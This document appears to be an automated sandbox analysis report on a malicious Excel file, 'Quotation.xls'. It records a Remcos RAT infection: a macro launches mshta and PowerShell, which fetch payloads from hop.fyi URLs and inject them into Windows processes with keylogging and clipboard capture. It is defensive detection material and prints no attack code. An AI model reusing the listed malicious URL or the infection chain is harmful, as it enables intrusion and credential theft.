              Source: powershell.exe, 00000006.00000002.429063376.000000001C4FE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.473601296.000000001C229000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.cr
              Source: powershell.exe, 00000006.00000002.425125733.00000000025D3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://go.micros
              Source: mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hop.fyi/-000
              Source: mshta.exe, 00000003.00000002.404508032.00000000003E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402941502.00000000003E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.398793403.00000000003DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hop.fyi/0
              Source: mshta.exe, 00000003.00000002.404508032.00000000003E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402941502.00000000003E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.398793403.00000000003DE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hop.fyi/3
              Source: mshta.exe, 00000013.00000002.462746744.00000000002AA000.00000004.00000020.00020000.00000000.sdmp, Quotation.xls, 8C130000.0.drString found in binary or memory: http://hop.fyi/NlD6e
              Source: mshta.exe, 00000013.00000002.462746744.00000000002AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hop.fyi/NlD6e$
              Source: mshta.exe, 00000003.00000003.402265105.0000000002BE4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hop.fyi/NlD6e(TIw
              Source: mshta.exe, 00000003.00000003.398793403.0000000000380000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hop.fyi/NlD6ez
              Source: mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://hop.fyi/icdL
              Source: powershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
              Source: powershell.exe, 00000006.00000002.425125733.00000000023D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.468874480.0000000002521000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
              Source: powershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: powershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0

              Key, Mouse, Clipboard, Microphone and Screen Capturing

              barindex
              Contains functionality to register a low level keyboard hook
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,0000000015_2_0040A2B8
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,15_2_0040B70E
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,15_2_004168C1
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,27_2_004168C1
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,15_2_0040B70E
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,15_2_0040A3E0
              Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior
              Source: C:\Windows\System32\mshta.exeWindow created: window name: CLIPBRDWNDCLASSJump to behavior

              E-Banking Fraud

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001B.00000002.471431780.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820272317.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: ngen.exe PID: 3340, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: csc.exe PID: 3352, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: wab.exe PID: 3360, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: iexplore.exe PID: 3884, type: MEMORYSTR

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
              Source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
              Source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: ngen.exe PID: 3340, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: csc.exe PID: 3352, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: wab.exe PID: 3360, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Source: Process Memory Space: iexplore.exe PID: 3884, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
              Excel sheet contains many unusual embedded objects
              Source: Quotation.xlsOLE: Microsoft Excel 2007+
              Source: Quotation.xlsOLE: Microsoft Excel 2007+
              Source: ~DF7431E8E57B77308E.TMP.0.drOLE: Microsoft Excel 2007+
              Source: ~DF8DC96169C38B008D.TMP.0.drOLE: Microsoft Excel 2007+
              Source: 8C130000.0.drOLE: Microsoft Excel 2007+
              Source: 8C130000.0.drOLE: Microsoft Excel 2007+
              Microsoft Office drops suspicious files
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\IEnetCache[1].htaJump to behavior
              Powershell drops PE file
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\igccu.exeJump to dropped file
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exeJump to dropped file
              Source: C:\Program Files (x86)\Windows Mail\wab.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,15_2_004167B4
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,27_2_004167B4
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_000007FE89B3352E6_2_000007FE89B3352E
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_000007FE89B301026_2_000007FE89B30102
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A8D95010_2_000007FE89A8D950
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A88C0810_2_000007FE89A88C08
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A88C0010_2_000007FE89A88C00
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A8BAD910_2_000007FE89A8BAD9
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A842DC10_2_000007FE89A842DC
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A9481010_2_000007FE89A94810
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A8173010_2_000007FE89A81730
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A9486910_2_000007FE89A94869
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A8F08210_2_000007FE89A8F082
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 10_2_000007FE89A9040910_2_000007FE89A90409
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043E0CC15_2_0043E0CC
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041F0FA15_2_0041F0FA
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0045415915_2_00454159
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043816815_2_00438168
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004461F015_2_004461F0
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043E2FB15_2_0043E2FB
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0045332B15_2_0045332B
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0042739D15_2_0042739D
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004374E615_2_004374E6
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043E55815_2_0043E558
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043877015_2_00438770
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004378FE15_2_004378FE
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043394615_2_00433946
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0044D9C915_2_0044D9C9
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00427A4615_2_00427A46
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041DB6215_2_0041DB62
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00427BAF15_2_00427BAF
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00437D3315_2_00437D33
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00435E5E15_2_00435E5E
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00426E0E15_2_00426E0E
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043DE9D15_2_0043DE9D
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00413FCA15_2_00413FCA
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00436FEA15_2_00436FEA
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A9D95025_2_000007FE89A9D950
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A98C0825_2_000007FE89A98C08
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A98C0025_2_000007FE89A98C00
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A9BAD925_2_000007FE89A9BAD9
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A942DC25_2_000007FE89A942DC
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89AA481025_2_000007FE89AA4810
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A9173025_2_000007FE89A91730
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89AA486925_2_000007FE89AA4869
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89A9F08225_2_000007FE89A9F082
              Source: C:\Users\user\AppData\Roaming\igccu.exeCode function: 25_2_000007FE89AA040925_2_000007FE89AA0409
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043E0CC27_2_0043E0CC
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0041F0FA27_2_0041F0FA
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0045415927_2_00454159
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043816827_2_00438168
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004461F027_2_004461F0
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043E2FB27_2_0043E2FB
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0045332B27_2_0045332B
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0042739D27_2_0042739D
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004374E627_2_004374E6
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043E55827_2_0043E558
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043877027_2_00438770
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004378FE27_2_004378FE
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043394627_2_00433946
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0044D9C927_2_0044D9C9
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00427A4627_2_00427A46
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0041DB6227_2_0041DB62
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00427BAF27_2_00427BAF
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00437D3327_2_00437D33
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00435E5E27_2_00435E5E
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00426E0E27_2_00426E0E
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043DE9D27_2_0043DE9D
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00413FCA27_2_00413FCA
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00436FEA27_2_00436FEA
              Source: Quotation.xlsOLE indicator, VBA macros: true
              Source: Quotation.xlsStream path 'MBD00067333/\x1Ole' : http://hop.fyi/NlD6e*]I)[E2dU?jvM0dY{UR6&9VRDW'e/_1DxQWBgi0E[)Ry"GU~<c;C6!B79DA5B01PjKsvWTshdp9n624cHolMmUK853mPrv9NNCdvosAukHm7lNNKFSziqfqTzkx2olRAftIdOATtQV0bXRlrPzvT4blk8xd2enan7ib39mYNaSm.II _-i!j{.W
              Source: 8C130000.0.drStream path 'MBD00067333/\x1Ole' : http://hop.fyi/NlD6e*]I)[E2dU?jvM0dY{UR6&9VRDW'e/_1DxQWBgi0E[)Ry"GU~<c;C6!B79DA5B01PjKsvWTshdp9n624cHolMmUK853mPrv9NNCdvosAukHm7lNNKFSziqfqTzkx2olRAftIdOATtQV0bXRlrPzvT4blk8xd2enan7ib39mYNaSm.II _-i!j{.W
              Source: ~DF7431E8E57B77308E.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
              Source: ~DF8DC96169C38B008D.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: String function: 00434E10 appears 54 times
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: String function: 00402093 appears 50 times
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: String function: 00434770 appears 41 times
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: String function: 00401E65 appears 34 times
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: String function: 00434E10 appears 54 times
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: String function: 00402093 appears 50 times
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: String function: 00434770 appears 41 times
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: String function: 00401E65 appears 34 times
              Source: csrss[1].exe.6.drStatic PE information: No import functions for PE file found
              Source: igccu.exe.6.drStatic PE information: No import functions for PE file found
              Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
              Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
